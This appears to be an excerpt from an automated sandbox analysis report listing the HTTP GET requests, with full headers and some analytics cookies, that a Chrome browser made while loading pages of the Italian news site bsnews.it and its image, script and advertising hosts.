Source: global traffic	HTTP traffic detected: GET /sdks/OneSignalPageSDKES6.js?v=151605 HTTP/1.1Host: cdn.onesignal.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=E_OE2G9R9S7M_PyIZbBan1JVSTzVmVAalc8Y80VYqy8-1711615862-1.0.1.1-XxXxue0M8IAfuodc7c7fUGhRFS7.KAzpGmuy3Fl8LZDDTdyMkuLf9p9U0GraQGlZRoBHZKO29jn7b2rlSSuk6A
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240327_0128.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2020/10/meteo-brescia-bsnews.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2022/03/rage-gcf7ce407b_1920.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-27-at-11.34.53-AM.jpeg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/?relatedposts=1 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"x-requested-with: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2017/11/galleriaGardesana.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2021/11/bsnews-1-1.png?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/hovercards/hovercards.min.css HTTP/1.1Host: 0.gravatar.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/05/300x250_bsm.jpg HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863
Source: global traffic	HTTP traffic detected: GET /g.gif?v=ext&blog=123231640&post=95325&tz=1&srv=bsnews.it&j=1%3A13.2.2&host=bsnews.it&ref=&fcp=4370&rand=0.5387852691627564 HTTP/1.1Host: pixel.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/bsnews-9-4.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3/yD/r/FEppCFCt76d.png HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2023/01/cemetery-3799038_1920.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240326_2210.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240326_2188.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wp-polls/images/loading.gif HTTP/1.1Host: bsnews.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863; _gcl_au=1.1.1773882818.1711615867
Source: global traffic	HTTP traffic detected: GET /avatar/45a1676121b18dd38477fabfbc32859b?s=96&d=mm&r=g HTTP/1.1Host: secure.gravatar.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /avatar/?s=50&d=mm&r=g HTTP/1.1Host: secure.gravatar.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/js/rlt-proxy.js?m=20211122 HTTP/1.1Host: s0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://widgets.wp.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_static/??/wp-content/js/postmessage.js,/wp-content/js/tannin/compat.min.js,/wp-content/js/wpcom-proxy-request.js,/wp-content/js/likes-rest-nojquery.js?m=20240322 HTTP/1.1Host: s0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://widgets.wp.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240326_2141.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/photo_6051118783147393837_y.jpg?resize=218%2C150&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2022/01/bsnews8-3.jpg?resize=218%2C150&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/maxresdefault.jpg?resize=218%2C150&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2019/11/banner-cucina.jpg?resize=234%2C90&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rsrc.php/v3iEpO4/yH/l/en_US/F6EglYYU9ZT.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Host: static.xx.fbcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240327_1785.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240327_1870.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240326_2120.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/182.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sdks/inhome/1.46.11/inhome.js HTTP/1.1Host: static.sunmedia.tvConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=6.4.3 HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863; _gcl_au=1.1.1773882818.1711615867
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1Host: bsnews.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _ga=GA1.1.30849489.1711615863; _gcl_au=1.1.1773882818.1711615867
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/photo_6051118783147393837_y.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240327_0381.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240327_0323.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/20240327_1109.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/maxresdefault.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2024/03/bsnews-10-3.jpg?resize=324%2C160&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2020/12/CopGuidaPoeticaBs19_11.jpg?resize=300%2C235&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2018/04/quattro-col-pallone-lr.jpg?fit=1200%2C799&ssl=1&resize=350%2C200 HTTP/1.1Host: i0.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/14.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/689.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
